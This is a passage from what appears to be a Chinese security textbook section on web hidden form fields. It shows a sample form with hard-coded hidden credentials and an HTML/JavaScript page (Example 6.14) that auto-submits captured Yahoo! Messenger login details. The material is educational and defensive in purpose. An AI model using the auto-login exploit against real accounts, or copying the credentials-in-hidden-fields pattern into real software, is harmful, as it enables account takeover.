6.6 隐藏字段
在Web页面上可以使用隐藏字段来隐藏信息,通常情况下,隐藏字段包含的信息都是一些关键信息,如用户名和口令。
隐藏字段存在的问题是,它们并不是真正的隐藏,只是在页面上不显示出来而已,只要知道查看它们的方法,就能够把隐藏字段找出来。查看的方法是,从浏览器中选择查看源代码的菜单项,或者使用网站抓取程序下载网站,然后脱机查看源代码。通过浏览源代码,我们就可以知道隐藏字段的作用和功能。
隐藏字段出现在表单中,通常在提交用户名和口令时使用。现在我们看一下下面的简单表单:
<FORM name=Authentication_Form action=http://www.hackmynetwork.com/ login/login?3fcn8a method=post> Username:<INPUT name=username value="admin" type=hidden>Password:<INPUT name=password value="letmein" type=hidden"> |
通过查看这段简化的表单代码,我们发现两个名称为username和password的隐藏字段。通过查看这些字段的值,可以看到,username的值为admin,password的值为letmein。
绝大多数开发人员羞于使用隐藏字段。但是,我们总应该看一看源代码,原因在于它有可能披露有趣的隐藏字段。
使用隐藏字段攻击系统的一个典型示例是Rafel Ivgi发现的一项技术。他发现了Yahoo! Messenger 5.6的一个漏洞,在这个漏洞中,人们能够从临时文件中发现用户名和口令。当用户加载Yahoo! Messenger时,在这个计算机上就存储了一个临时HTML文件,该文件包含了使用这个工具的用户的用户名和口令。示例6.14展示了利用这个漏洞的示例代码。
示例6.14:捕获Yahoo!口令。 <html> <head> <script> <!-- var username; username='<username>'; var password; password='<password>'; function submit () { document.getElementById('login').value=username; document.getElementById('passwd').value=password; document.getElementById('login_form').submit(); }; //--> </script> </head> <body onLoad='submit();'> <form method=post action="https://login.yahoo.com/config/login" autocomplete=off name=login_form id=login_form onsubmit="return alert(document.forms['login_form'].login.value)"> <input type="hidden" name=".tries" value="1"> <input type="hidden" name=".src" value="ym"> <input type="hidden" name=".md5" value=""> <input type="hidden" name=".hash" value=""> <input type="hidden" name=".js" value=""> <input type="hidden" name=".last" value="2"> <input type="hidden" name="promo" value=""> <input type="hidden" name=".intl" value="us"> <input type="hidden" name=".bypass" value=""> <input type="hidden" name=".partner" value=""> <input type="hidden" name=".v" value="0"> <input type="hidden" name=".yplus" value=""> <input type="hidden" name=".emailCode" value=""> <input type="hidden" name="plg" value=""> <input type="hidden" name="stepid" value=""> <input type="hidden" name=".ev" value=""> <input type="hidden" name="hasMsgr" value="0"> <input type="hidden" name=".chkP" value="Y"> <input type="hidden" name=".done" value="http://mail.yahoo.com"> <input type="hidden" name="login" size="17" value=""> <input type="hidden" name="passwd" size="17" maxlength="32"> <input type="hidden" name=".save" value="Sign In"> </form></body> </html> |
这个示例演示了使用隐藏字段的危险。但是,这个利用要求本地访问计算机,来提取用户TEMP目录下的文档。请注意,在Windows 2000和Windows XP中,这种目录受到了NTFS的安全保护,但是,如果系统是没有使用NTFS的系统,以这个用户登录或以拥有管理权限的用户登录,那么就可以访问这个文件。
【责任编辑:
杜书 TEL:(010)68476606】